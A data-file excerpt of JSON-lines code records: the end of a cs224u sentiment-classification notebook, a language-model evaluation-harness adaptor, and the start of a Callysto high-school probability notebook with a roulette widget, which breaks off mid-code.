\n    \"\"\"Wrapper for `sklearn.linear.model.LogisticRegression`. This is \n    also called a Maximum Entropy (MaxEnt) Classifier, which is more \n    fitting for the multiclass case.\n    \n    Parameters\n    ----------\n    X : 2d np.array\n        The matrix of features, one example per row.\n    y : list\n        The list of labels for rows in `X`.\n    \n    Returns\n    -------\n    sklearn.linear.model.LogisticRegression\n        A trained `LogisticRegression` instance.\n    \n    \"\"\"\n    mod = LogisticRegression(\n        fit_intercept=True, \n        solver='liblinear', \n        multi_class='auto')\n    mod.fit(X, y)\n    return mod\n\n\n# ### Other scikit-learn models\n# \n# * The [sklearn.linear_model](http://scikit-learn.org/stable/modules/classes.html#module-sklearn.linear_model) package has a number of other classifier models that could be effective for SST.\n# \n# * The [sklearn.ensemble](http://scikit-learn.org/stable/modules/classes.html#module-sklearn.ensemble) package contains powerful classifiers as well. The theme that runs through all of them is that one can get better results by averaging the predictions of a bunch of more basic classifiers. A [RandomForestClassifier](http://scikit-learn.org/stable/modules/generated/sklearn.ensemble.RandomForestClassifier.html#sklearn.ensemble.RandomForestClassifier) will bring some of the power of deep learning models without the optimization challenges (though see [this blog post on some limitations of the current sklearn implementation](https://roamanalytics.com/2016/10/28/are-categorical-variables-getting-lost-in-your-random-forests/)).\n# \n# * The [sklearn.svm](http://scikit-learn.org/stable/modules/classes.html#module-sklearn.svm) contains variations on Support Vector Machines (SVMs).\n\n# ## Experiments\n# \n# We now have all the pieces needed to run experiments. And __we're going to want to run a lot of experiments__, trying out different feature functions, taking different perspectives on the data and labels, and using different models. \n# \n# To make that process efficient and regimented, `sst` contains a function `experiment`. All it does is pull together these pieces and use them for training and assessment. It's complicated, but the flexibility will turn out to be an asset.\n\n# ### Experiment with default values\n\n# In[15]:\n\n\n_ = sst.experiment(\n    SST_HOME,\n    unigrams_phi,\n    fit_softmax_classifier,\n    train_reader=sst.train_reader, \n    assess_reader=None, \n    train_size=0.7,\n    class_func=sst.ternary_class_func,\n    score_func=utils.safe_macro_f1,\n    verbose=True)\n\n\n# A few notes on this function call:\n#     \n# * Since `assess_reader=None`, the function reports performance on a random train\u2013test split. Give `sst.dev_reader` as the argument to assess against the `dev` set.\n# \n# * `unigrams_phi` is the function we defined above. By changing/expanding this function, you can start to improve on the above baseline, perhaps periodically seeing how you do on the dev set.\n# \n# * `fit_softmax_classifier` is the wrapper we defined above. To assess new models, simply define more functions like this one. Such functions just need to consume an `(X, y)` constituting a dataset and return a model.\n\n# ### A dev set run\n\n# In[14]:\n\n\n_ = sst.experiment(\n    SST_HOME,\n    unigrams_phi,\n    fit_softmax_classifier,\n    class_func=sst.ternary_class_func,\n    assess_reader=sst.dev_reader)\n\n\n# ### Assessing BasicSGDClassifier\n\n# In[15]:\n\n\n_ = sst.experiment(\n    SST_HOME,\n    unigrams_phi,\n    fit_basic_sgd_classifier,\n    class_func=sst.ternary_class_func,\n    assess_reader=sst.dev_reader)\n\n\n# ### Comparison with the baselines from Socher et al. 2013\n# \n# Where does our default set-up sit with regard to published baselines for the binary problem? (Compare  [Socher et al., Table 1](http://www.aclweb.org/anthology/D/D13/D13-1170.pdf).)\n\n# In[16]:\n\n\n_ = sst.experiment(\n    SST_HOME,\n    unigrams_phi,\n    fit_softmax_classifier,\n    class_func=sst.binary_class_func,\n    assess_reader=sst.dev_reader)\n\n\n# ### A shallow neural network classifier\n# \n# While we're at it, we might as well see whether adding a hidden layer to our softmax classifier yields any benefits. Whereas `LogisticRegression` is, at its core, computing\n# \n# $$\\begin{align*}\n# y &= \\textbf{softmax}(xW_{xy} + b_{y})\n# \\end{align*}$$\n# \n# the shallow neural network inserts a hidden layer with a non-linear activation applied to it:\n# \n# $$\\begin{align*}\n# h &= \\tanh(xW_{xh} + b_{h}) \\\\\n# y &= \\textbf{softmax}(hW_{hy} + b_{y})\n# \\end{align*}$$\n\n# In[17]:\n\n\ndef fit_nn_classifier(X, y):\n    mod = TorchShallowNeuralClassifier(\n        hidden_dim=50, max_iter=100)\n    mod.fit(X, y)\n    return mod\n\n\n# In[18]:\n\n\n_ = sst.experiment(\n    SST_HOME,\n    unigrams_phi, \n    fit_nn_classifier, \n    class_func=sst.binary_class_func)\n\n\n# It looks like, with enough iterations (and perhaps some fiddling with the activation function and hidden dimensionality), this classifier would meet or exceed the baseline set up by `LogisticRegression`.\n\n# ### A softmax classifier in PyTorch\n# \n# Our PyTorch modules should support easy modification. For example, to turn `TorchShallowNeuralClassifier` into a `TorchSoftmaxClassifier`, one need only write a new `define_graph` method:\n\n# In[19]:\n\n\nclass TorchSoftmaxClassifier(TorchShallowNeuralClassifier):\n    \n    def define_graph(self):\n        return nn.Linear(self.input_dim, self.n_classes_)\n\n\n# In[20]:\n\n\ndef fit_torch_softmax(X, y):\n    mod = TorchSoftmaxClassifier(max_iter=100)\n    mod.fit(X, y)\n    return mod\n\n\n# In[21]:\n\n\n_ = sst.experiment(\n    SST_HOME,\n    unigrams_phi, \n    fit_torch_softmax, \n    class_func=sst.binary_class_func)\n\n\n# ## Hyperparameter search\n# \n# The training process learns __parameters__ &mdash; the weights. There are typically lots of other parameters that need to be set. For instance, our `BasicSGDClassifier` has a learning rate parameter and a training iteration parameter. These are called __hyperparameters__. The more powerful `sklearn` classifiers often have many more such hyperparameters. These are outside of the explicitly stated objective, hence the \"hyper\" part. \n# \n# So far, we have just set the hyperparameters by hand. However, their optimal values can vary widely between datasets, and choices here can dramatically impact performance, so we would like to set them as part of the overall experimental framework.\n\n# ### utils.fit_classifier_with_crossvalidation\n# \n# Luckily, `sklearn` provides a lot of functionality for setting hyperparameters via cross-validation. The function `utils.fit_classifier_with_crossvalidation` implements a basic framework for taking advantage of these options. \n# \n# This method has the same basic shape as `fit_softmax_classifier` above: it takes a dataset as input and returns a trained model. However, to find its favored model, it explores a space of hyperparameters supplied by the user, seeking the optimal combination of settings.\n# \n# __Note__: this kind of search seems not to have a large impact for SST as we're using it. However, it can matter a lot for other data sets, and it's also an important step to take when trying to publish, since __reviewers are likely to want to check that your comparisons aren't based in part on opportunistic or ill-considered choices for the hyperparameters__.\n\n# ### Example using LogisticRegression\n# \n# Here's a fairly full-featured use of the above for the `LogisticRegression` model family:\n\n# In[22]:\n\n\ndef fit_softmax_with_crossvalidation(X, y):\n    \"\"\"A MaxEnt model of dataset with hyperparameter \n    cross-validation. Some notes:\n        \n    * 'fit_intercept': whether to include the class bias feature.\n    * 'C': weight for the regularization term (smaller is more regularized).\n    * 'penalty': type of regularization -- roughly, 'l1' ecourages small \n      sparse models, and 'l2' encourages the weights to conform to a \n      gaussian prior distribution.\n    \n    Other arguments can be cross-validated; see \n    http://scikit-learn.org/stable/modules/generated/sklearn.linear_model.LogisticRegression.html\n    \n    Parameters\n    ----------\n    X : 2d np.array\n        The matrix of features, one example per row.\n        \n    y : list\n        The list of labels for rows in `X`.   \n    \n    Returns\n    -------\n    sklearn.linear_model.LogisticRegression\n        A trained model instance, the best model found.\n    \n    \"\"\"    \n    basemod = LogisticRegression(\n        fit_intercept=True, \n        solver='liblinear', \n        multi_class='auto')\n    cv = 5\n    param_grid = {'fit_intercept': [True, False], \n                  'C': [0.4, 0.6, 0.8, 1.0, 2.0, 3.0],\n                  'penalty': ['l1','l2']}    \n    best_mod = utils.fit_classifier_with_crossvalidation(\n        X, y, basemod, cv, param_grid)\n    return best_mod\n\n\n# In[23]:\n\n\nsoftmax_experiment = sst.experiment(\n    SST_HOME,\n    unigrams_phi,\n    fit_softmax_with_crossvalidation, \n    class_func=sst.ternary_class_func)\n\n\n# ### Example using BasicSGDClassifier\n\n# The models written for this course are also compatible with this framework. They [\"duck type\"](https://en.wikipedia.org/wiki/Duck_typing) the `sklearn` models by having methods `fit`, `predict`, `get_params`, and `set_params`, and an attribute `params`.\n\n# In[24]:\n\n\ndef fit_basic_sgd_classifier_with_crossvalidation(X, y):\n    basemod = BasicSGDClassifier()\n    cv = 5\n    param_grid = {'eta': [0.01, 0.1, 1.0], 'max_iter': [10]}\n    best_mod = utils.fit_classifier_with_crossvalidation(\n        X, y, basemod, cv, param_grid)\n    return best_mod\n\n\n# In[25]:\n\n\nsgd_experiment = sst.experiment(\n    SST_HOME,\n    unigrams_phi,\n    fit_basic_sgd_classifier_with_crossvalidation, \n    class_func=sst.ternary_class_func)\n\n\n# ## Statistical comparison of classifier models\n# \n# Suppose two classifiers differ according to an effectiveness measure like F1 or accuracy. Are they meaningfully different?\n# \n# * For very large datasets, the answer might be clear: if performance is very stable across different train/assess splits and the difference in terms of correct predictions has practical importance, then you can clearly say yes. \n# \n# * With smaller datasets, or models whose performance is closer together, it can be harder to determine whether the two models are different. We can address this question in a basic way with repeated runs and basic null-hypothesis testing on the resulting score vectors.\n# \n# In general, one wants to compare __two feature functions against the same model__, or one wants to compare __two models with the same feature function used for both__. If both are changed at the same time, then it will be hard to figure out what is causing any differences you see.\n\n# ### Comparison with the Wilcoxon signed-rank test\n# \n# The function `sst.compare_models` is designed for such testing. The default set-up uses the non-parametric [Wilcoxon signed-rank test](https://en.wikipedia.org/wiki/Wilcoxon_signed-rank_test) to make the comparisons, which is relatively conservative and recommended by [Dem\u0161ar 2006](http://www.jmlr.org/papers/v7/demsar06a.html) for cases where one can afford to do multiple assessments. For discussion, see [the evaluation methods notebook](evaluation_methods.ipynb#Wilcoxon-signed-rank-test).\n# \n# Here's an example showing the default parameters values and comparing `LogisticRegression` and `BasicSGDClassifier`:\n\n# In[26]:\n\n\n_ = sst.compare_models(\n    SST_HOME,\n    unigrams_phi,\n    fit_softmax_classifier,\n    stats_test=scipy.stats.wilcoxon,\n    trials=10,\n    phi2=None,  # Defaults to same as first required argument.\n    train_func2=fit_basic_sgd_classifier, # Defaults to same as second required argument.\n    reader=sst.train_reader, \n    train_size=0.7, \n    class_func=sst.ternary_class_func, \n    score_func=utils.safe_macro_f1)\n\n\n# ### Comparison with McNemar's test\n# \n# [McNemar's test](https://en.wikipedia.org/wiki/McNemar%27s_test) operates directly on the vectors of predictions for the two models being compared. As such, it doesn't require repeated runs, which is good where optimization is expensive. For discussion, see [the evaluation methods notebook](evaluation_methods.ipynb#McNemar's-test).\n\n# In[27]:\n\n\nm = utils.mcnemar(\n    softmax_experiment['assess_dataset']['y'], \n    sgd_experiment['predictions'],\n    softmax_experiment['predictions'])\n\n\n# In[28]:\n\n\np = \"p < 0.0001\" if m[1] < 0.0001 else m[1]\n\nprint(\"McNemar's test: {0:0.02f} ({1:})\".format(m[0], p))\n\n", "meta": {"hexsha": "5f2e0602b59944920ce96f6724d28b7b9d60b775", "size": 24378, "ext": "py", "lang": "Python", "max_stars_repo_path": "sst_02_hand_built_features_trials1.py", "max_stars_repo_name": "abgoswam/cs224u", "max_stars_repo_head_hexsha": "33e1a22d1c9586b473f43b388163a74264e9258a", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "sst_02_hand_built_features_trials1.py", "max_issues_repo_name": "abgoswam/cs224u", "max_issues_repo_head_hexsha": "33e1a22d1c9586b473f43b388163a74264e9258a", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sst_02_hand_built_features_trials1.py", "max_forks_repo_name": "abgoswam/cs224u", "max_forks_repo_head_hexsha": "33e1a22d1c9586b473f43b388163a74264e9258a", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.1790540541, "max_line_length": 733, "alphanum_fraction": 0.7309459349, "include": true, "reason": "import scipy", "num_tokens": 6017, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3923368301671084, "lm_q2_score": 0.16885695214168314, "lm_q1q2_score": 0.0662488013549471}}
{"text": "from functools import partial\n\nimport transformers\nfrom lm_eval.base import LM\nfrom tqdm import tqdm\nimport numpy as np\n\nfrom tasks.util import sample_batch, shrink_seq\nimport multiprocessing\nimport ftfy\n\ntokenizer = None\n\n\ndef process_init():\n    global tokenizer\n    tokenizer = transformers.GPT2TokenizerFast.from_pretrained('gpt2')\n    tokenizer.model_max_length = int(1e30)\n    tokenizer.pad_token = \"<|endoftext|>\"\n\n    assert tokenizer.encode('hello\\n\\nhello') == [31373, 198, 198, 31373]\n\n\ndef process_request(x, seq):\n    global tokenizer\n\n    # Each request is a pair (context, continuation)\n    ctx, cont = x\n\n    # BJ?: Why is <|endoftext|> at beginning?\n    ctx_tokens = tokenizer.encode(\"<|endoftext|>\" + ftfy.fix_text(ctx, normalization=\"NFKC\"))\n    cont_tokens = tokenizer.encode(ftfy.fix_text(cont, normalization=\"NFKC\"))\n\n    all_tokens = ctx_tokens + cont_tokens\n    all_tokens = np.array(all_tokens)[-seq:]  # truncate sequence at seq length\n\n    provided_ctx = len(all_tokens) - 1\n    pad_amount = seq - provided_ctx\n\n    return {\n        #  <-- provided_ctx --> <----- pad_amount ---->\n        # [37 25 17 49 23 92 18 50256 50256 50256 50256]\n        \"obs\": np.pad(all_tokens[:-1], ((0, pad_amount),), constant_values=50256),\n        \"target\": np.pad(all_tokens[1:], ((0, pad_amount),), constant_values=50256),\n        \"ctx_length\": seq,\n        \"eval_mask\": np.logical_and(\n            np.arange(0, seq) > len(all_tokens) - len(cont_tokens) - 2,\n            np.arange(0, seq) < len(all_tokens) - 1\n        ),\n    }\n\n\nclass EvalHarnessAdaptor(LM):\n    def greedy_until(self, requests):\n        raise Exception(\"unimplemented\")\n\n    def loglikelihood_rolling(self, requests):\n        raise Exception(\"unimplemented\")\n\n    def __init__(self, tpu_cluster, seq, batch, shrink, min_seq=None):\n        \"\"\"\n            seq: length of sequences\n        \"\"\"\n        super().__init__()\n        self.tpu = tpu_cluster\n        self.seq = seq\n        self.batch = batch\n        self.shrink = shrink\n        self.min_seq = min_seq\n\n        self.pool = multiprocessing.Pool(initializer=process_init)\n        process_init()\n\n    def convert_requests(self, requests):\n        return self.pool.imap(partial(process_request, seq=self.seq), requests)\n\n    def loglikelihood(self, requests):\n        output = []\n\n        r = self.convert_requests(requests)\n        zero_example = process_request(requests[0], self.seq)\n\n        for b in tqdm(sample_batch(r, self.batch, zero_example),\n                      desc=\"LM eval harness\",\n                      total=len(requests) // self.batch):\n\n            if self.shrink:\n                b = shrink_seq(b, min_seq=self.min_seq)\n\n            out = self.tpu.eval(b)\n\n            for loss, correct in zip(out[\"mask_loss\"], out[\"each_correct\"]):\n                output.append((float(-loss), bool(correct)))\n\n        return output\n", "meta": {"hexsha": "714976af3b0bd42f73482080f17f381cfb77f7e8", "size": 2873, "ext": "py", "lang": "Python", "max_stars_repo_path": "tasks/eval_harness.py", "max_stars_repo_name": "bobbyjaros/mesh-transformer-jax", "max_stars_repo_head_hexsha": "d4ecc7232965f08db665c29fdb14164e638225c0", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tasks/eval_harness.py", "max_issues_repo_name": "bobbyjaros/mesh-transformer-jax", "max_issues_repo_head_hexsha": "d4ecc7232965f08db665c29fdb14164e638225c0", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tasks/eval_harness.py", "max_forks_repo_name": "bobbyjaros/mesh-transformer-jax", "max_forks_repo_head_hexsha": "d4ecc7232965f08db665c29fdb14164e638225c0", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.9270833333, "max_line_length": 93, "alphanum_fraction": 0.6303515489, "include": true, "reason": "import numpy", "num_tokens": 696, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.36296920551961676, "lm_q2_score": 0.18242552602881165, "lm_q1q2_score": 0.06621484824917594}}
{"text": "![Callysto.ca Banner](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-top.jpg?raw=true)\n \n<a href=\"https://hub.callysto.ca/jupyter/hub/user-redirect/git-pull?repo=https%3A%2F%2Fgithub.com%2Fcallysto%2Fonline-courses&branch=master&subPath=Mathematics/ProbabilityExperiment/probability-experiment.ipynb&depth=1\" target=\"_parent\"><img src=\"https://raw.githubusercontent.com/callysto/curriculum-notebooks/master/open-in-callysto-button.svg?sanitize=true\" width=\"123\" height=\"24\" alt=\"Open in Callysto\"></a>\n\nTo run this notebook press the >> Button and confirm \"Restart and Run all\".\n\n![](./images/RunB.png)\n\nfrom IPython.display import HTML\n\nHTML('''<script>\ncode_show=true; \nfunction code_toggle() {\n if (code_show){\n $('div.input').hide();\n } else {\n $('div.input').show();\n }\n code_show = !code_show\n} \n$( document ).ready(code_toggle);\n</script>\nThe raw code for this IPython notebook is by default hidden for easier reading.\nTo toggle on/off the raw code, click <a href=\"javascript:code_toggle()\">here</a>.''')\n\n\n%%html\n<style>\n.output_wrapper button.btn.btn-default,\n.output_wrapper .ui-dialog-titlebar {\n  display: none;\n}\n</style>\n\n# Modules\n\nimport string\nimport numpy as np\nimport pandas as pd\nimport qgrid as q\nimport matplotlib.pyplot as plt\n\n# Widgets & Display modules, etc..\n\nfrom ipywidgets import widgets as w\nfrom ipywidgets import Button, Layout\nfrom IPython.display import display, Javascript, Markdown\n\n# grid features for interactive grids \n\ngrid_features = { 'fullWidthRows': True,\n                  'syncColumnCellResize': True,\n                  'forceFitColumns': True,\n                  'rowHeight': 40,\n                  'enableColumnReorder': True,\n                  'enableTextSelectionOnCells': True,\n                  'editable': True,\n                  'filterable': False,\n                  'sortable': False,\n                  'highlightSelectedRow': True}\n\nfrom ipywidgets import Button , Layout , interact,widgets\nfrom IPython.display import Javascript, display\n\n# Function: executes previous cell on button widget click event and hides achievement indicators message\n\ndef run_current(ev):\n    \n    display(Javascript('IPython.notebook.execute_cell_range(IPython.notebook.get_selected_index()+0,IPython.notebook.get_selected_index()+1)'))    \n    \n# Counter for toggling achievement indicator on/off\n\nbutton_ctr = 0\n\n# Achievement Indicators\n\nline_1 = \"#### Achievement Indicators\"\nline_2 = \"**General Outcome:**\"\nline_3 = \"* The general outcome of this notebook is to use experimental or theoretical probabilities to represent and solve problems involving uncertainty.\"\nline_4 = \"**Specific Outcome 4:**\"\nline_5 = \"* Express probabilities as ratios, fractions and percents.\"\nline_6 = \"**Specific Outcome 5:**\"\nline_7 = \"* Identify the sample space (where the combined sample space has 36 or fewer elements) for a probability experiment involving two independent events.*\"\nline_8 = \"**Specific Outcome 6:**\"\nline_9 = \"* Conduct a probability experiment to compare the theoretical probability (determined using a tree diagram, table or other graphic organizer) and experimental probability of two independent events*\"\n\n# Use to print lines, then save in lines_list\n\ndef print_lines(n):\n    \n    lines_str = \"\"\n    \n    for i in range(1,n+1):\n        lines_str = lines_str + \"line_\"+str(i)+\",\"\n        \n    lines_str = lines_str[:-1]\n\n    print(lines_str)\n    \nlines_list = [line_1,line_2,line_3,line_4,line_5,line_6,line_7,line_8,line_9]\n    \n# Show/Hide buttons\n\nai_button_show = widgets.Button(button_style='info',description=\"Show Achievement Indicators\", layout=Layout(width='25%', height='30px') )\nai_button_hide = widgets.Button(button_style='info',description=\"Hide Achievement Indicators\", layout=Layout(width='25%', height='30px') )\n\ndisplay(Markdown(\"For instructors:\"))\n\nbutton_ctr += 1\n\nif(button_ctr % 2 == 0):\n\n    for line in lines_list:\n        display(Markdown(line))\n    \n    display(ai_button_hide)\n    ai_button_hide.on_click( run_current )\n    \nelse:\n\n    display(ai_button_show)\n    ai_button_show.on_click( run_current )\n\n# Statistics and Probability \n\n## Chance and Uncertainty\n\n#### Grade 11  Math \n\n<h2 align='center'>Overview</h2>\n\nIn this notebook we will explore basic notions and properties about expressing and manipulating probabilities. \nThe general outcome of this notebook is to use experimental or theoretical probabilities to represent and solve problems involving uncertainty.\n\n<h2 align='center'>Probabilities as ratios, fractions and percents</h2>\n\nA natural question to ask is: how do we measure the probability associated to an event of a given probability experiment, i.e. for a given event, what is the probability it occurs?  We define this now, illustrate with a simple example involving dice, and we will then provide an interactive exercise. \n\n\n<div class=\"alert alert-warning\">\n<font color=\"black\"><b>Definition.</b> The probability of an event is the ratio between the size of the event (as a collection of outcomes) and the size of the sample space. </font>\n</div>\n\nThe sample space of rolling a single dice is given by $\\lbrace$1,2,3,4,5,6 $\\rbrace$ and had sample size 6.  If we assume each face is equally likely to occur (i.e. the dice is unbiased), then the probability of getting each face is the ratio or fraction $\\dfrac{1}{6}$. \n\nWe will denote the probability of getting each number as $P(i)$, where $i$ can either be 1,2,3,4,5,6. \nThen, the probability of getting event 1, denoted $P(1)$ is equal to $\\dfrac{1}{6}$; more precisely: $P(1)=P(2)=P(3)=P(4)=P(5)=P(6)=\\dfrac{1}{6}$.\n\nThis is equivalent to stating that the probability of getting any given face is 1 in 6, or $1:6$. Using ratios we have $P(i) = 1:6$, where $i = 1,2,3,4,5,6$. We can also express probabilities using percents. The total number of outcomes is considered 100%. Since there are 6 possible outcomes and assuming equal probability, $P(i) = 100 / 6  = 16.67 \\%$. \n\nWe summarize in the table below.\n\n|Event  $i$                  |1 |2 |3 |4 |5 |6 |\n|----------------------------|--|--|--|--|--|--|\n|Probability $P(i)$ as a fraction|$\\dfrac{1}{6}$|$\\dfrac{1}{6}$|$\\dfrac{1}{6}$|$\\dfrac{1}{6}$|$\\dfrac{1}{6}$|$\\dfrac{1}{6}$|\n|Probability $P(i)$ as a ratio            |1:6|1:6|1:6|1:6|1:6|1:6|\n|Probability $P(i)$ as a percent|16.67%|16.67%|16.67%|16.67%|16.67%|16.67%|\n\nimport numpy as np\nimport matplotlib \nfrom matplotlib.patches import Rectangle\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport random\nimport matplotlib.gridspec as gridspec\nimport ipywidgets\nfrom ipywidgets import interact,interact_manual,widgets\n%matplotlib inline\n\n### Interactive Example: Probabilities as Fractions, Ratios and Percents\n\nThe widget below illustrates a probability experiment using roulettes of various sizes. The basic experiment consists in spinning  a roulette, divided in a given number of compartments, each of the same size and associated with a unique number that identifies it. The outcome of the experiment is the compartment of the roulette whose number shows in red. Basically, this is an experiment similar to rolling a dice, but where we control the number of faces (number of compartments in the roulette). We assume the roulette is unbiased: each compartment has the same chance to appear in red whenspinning the roulette.\n\nOn the upper side of the widget you find a drop down menu indicating the size of the sample space, which is the number of compartments of the roulette. In this case, we are considering roulettes whose outcomes are integers from 1 to the size of the sample space. We consider roulettes with sample spaces of size 2, 4, 6 and 8.\n\nBelow the drop down menu you will find find a red button. Click it to play. \n\nOn the left hand side of the widget you will see a roulette with numbers in black and one number in red. The number in red corresponds to the outcome of the experiment. \n\nOn the right hand side you will find a printed message explaining what the probability of the event associated to the obtained outcome is. \n\nPlay multiple times to simulate what would happen if you spun the roulette. Change the size of the sample space to learn what the different probabilities associated to each event in the roulette are. \n\n### \ndef roulette(number_parititions,value):\n    if value==True or value==False:\n        lucky_number_one = random.choice(np.arange(1,2*number_parititions+1))\n\n        \n        axalpha = 0.05\n        figcolor = 'white'\n        dpi = 80\n        fig = plt.figure(figsize=(15,10), dpi=dpi,facecolor='black')\n        plt.subplot(211)\n\n        plt.subplot(212)\n\n        fig.patch.set_edgecolor(figcolor)\n        fig.patch.set_facecolor(figcolor)\n        ax = plt.subplot(121,projection='polar',facecolor=\"red\")\n        \n\n        ax.patch.set_alpha(axalpha)\n        ax.set_axisbelow(True)\n        \n        ax1 = plt.subplot(122)\n        ax1.grid(False)\n        ax1.set_xlim(0.1,0.9)\n        ax1.set_ylim(0.4,0.8)\n        \n        ax1.set_xticklabels([])\n        ax1.set_yticklabels([])\n        ax1.axis(\"off\")\n    \n        arc = 2. * np.pi\n        N = number_parititions\n        theta = np.arange(0.0, arc, arc/N)\n        \n        if number_parititions == 4:\n            radii_ar = [1.0 for i in range(number_parititions)]\n            width_ar = [1.0 for i in range(number_parititions)]\n    \n            radii = 10 * np.array(radii_ar)\n            width = np.pi/4  * np.array(width_ar)\n    \n            bars = ax.bar(theta, radii, width=width, bottom=0.0)\n            for r, bar in zip(radii, bars):\n                bar.set_facecolor(\"pink\")\n                bar.set_alpha(0.6)\n            \n            ax.text(0, 7, \"1\", fontsize=20,transform=ax.transData._b,)\n            ax.text(5, 5, \"2\", fontsize=20,transform=ax.transData._b)\n            ax.text(7, 0, \"3\", fontsize=20,transform=ax.transData._b)\n            ax.text(4, -5.5, \"4\", fontsize=20,transform=ax.transData._b)\n            ax.text(0, -7, \"5\", fontsize=20,transform=ax.transData._b)\n            ax.text(-5, -5, \"6\", fontsize=20,transform=ax.transData._b)\n            ax.text(-5, 5, \"8\", fontsize=20,transform=ax.transData._b)\n            ax.text(-7, 0, \"7\", fontsize=20,transform=ax.transData._b)\n            \n            if lucky_number_one==1:\n                ax.text(0, 7, \"1\", fontsize=20,transform=ax.transData._b,color=\"red\")\n            elif lucky_number_one==2:\n                ax.text(5, 5, \"2\", fontsize=20,transform=ax.transData._b,color=\"red\")\n            elif lucky_number_one==3:\n                ax.text(7, 0, \"3\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==4:\n                ax.text(4, -5.5, \"4\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==5:\n                ax.text(0, -7, \"5\", fontsize=20,transform=ax.transData._b,color=\"red\")\n            elif lucky_number_one==6:\n                ax.text(-5, -5, \"6\", fontsize=20,transform=ax.transData._b,color=\"red\")\n            elif lucky_number_one==7:\n                ax.text(-7, 0, \"7\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==8:\n                ax.text(-5, 5, \"8\", fontsize=20,transform=ax.transData._b,color='red')\n            ax1.text(0.1,0.77,\"Probability of each event\",fontsize=25)\n            ax1.text(0.1,0.5,\"P(1) = 1/8 = 1:8 = 12.5%\\n\\nP(2) = 1/8 = 1:8 = 12.5%\\n\\nP(3) = 1/8 = 1:8 = 12.5%\\n\\nP(4) = 1/8 = 1:8 = 12.5%\\n\\nP(5) = 1/8 = 1:8 = 12.5%\\n\\nP(6) = 1/8 = 1:8 = 12.5%\\n\\nP(7) = 1/8 = 1:8 = 12.5%\\n\\nP(8) = 1/8 = 1:8 = 12.5%\"\\\n                      ,fontsize=20)\n            ax1.text(0.1,0.45,\"Probability Outcome\",fontsize=25)\n            ax1.text(0.1,0.42,\"The result after spinning is \" + str(lucky_number_one),fontsize=20)\n\n        elif number_parititions == 3:\n    \n            radii_ar = [1.0 for i in range(number_parititions)]\n            width_ar = [1.3 for i in range(number_parititions)]\n    \n            radii = 10 * np.array(radii_ar)\n            width = np.pi/4  * np.array(width_ar)\n    \n            bars = ax.bar(theta, radii, width=width, bottom=0.0)\n            for r, bar in zip(radii, bars):\n                bar.set_facecolor(\"pink\")\n                bar.set_alpha(0.6)\n            ax.text(-4, 7, \"1\", fontsize=20,transform=ax.transData._b)\n            ax.text(3, 6.5, \"2\", fontsize=20,transform=ax.transData._b)\n            ax.text(7, 0, \"3\", fontsize=20,transform=ax.transData._b)\n            ax.text(3, -6.5, \"4\", fontsize=20,transform=ax.transData._b)\n            ax.text(-4, -7, \"5\", fontsize=20,transform=ax.transData._b)\n            ax.text(-8, 0, \"6\", fontsize=20,transform=ax.transData._b)\n            \n            if lucky_number_one==1:\n                ax.text(-4, 7, \"1\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==2:\n                ax.text(3, 6.5, \"2\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==3:\n                ax.text(7, 0, \"3\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==4:\n                ax.text(3, -6.5, \"4\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==5:\n                ax.text(-4, -7, \"5\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==6:\n                ax.text(-8, 0, \"6\", fontsize=20,transform=ax.transData._b,color='red')\n            \n            ax1.text(0.1,0.74,\"Probability of each event\",fontsize=25)\n            ax1.text(0.1,0.55,\"P(1) = 1/6 = 1:6 = 16.67%\\n\\nP(2) = 1/6 = 1:6 = 16.67%\\n\\nP(3) = 1/6 = 1:6 = 16.67\\n\\nP(4) = 1/6 = 1:6 = 16.67%\\n\\nP(5) = 1/6 = 1:6 = 16.67%\\n\\nP(6) = 1/6 = 1:6 = 16.67%\"\\\n                      ,fontsize=20)\n            ax1.text(0.1,0.5,\"Probability Outcome\",fontsize=25)\n            ax1.text(0.1,0.48,\"The result after spinning is \" + str(lucky_number_one),fontsize=20)\n\n            \n        elif number_parititions == 2:\n            radii_ar = [1.0 for i in range(number_parititions)]\n            width_ar = [1.7 for i in range(number_parititions)]\n    \n            radii = 10 * np.array(radii_ar)\n            width = np.pi/4  * np.array(width_ar)\n    \n            bars = ax.bar(theta, radii, width=width, bottom=0.0)\n            for r, bar in zip(radii, bars):\n                bar.set_facecolor(\"pink\")\n                bar.set_alpha(0.6)\n            ax.text(0, 8, \"1\", fontsize=20,transform=ax.transData._b)\n            ax.text(7, 0, \"2\", fontsize=20,transform=ax.transData._b)\n            ax.text(0, -8, \"3\", fontsize=20,transform=ax.transData._b)\n            ax.text(-8, 0, \"4\", fontsize=20,transform=ax.transData._b)\n            \n            if lucky_number_one==1:\n                ax.text(0, 8, \"1\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==2:\n                ax.text(7, 0, \"2\", 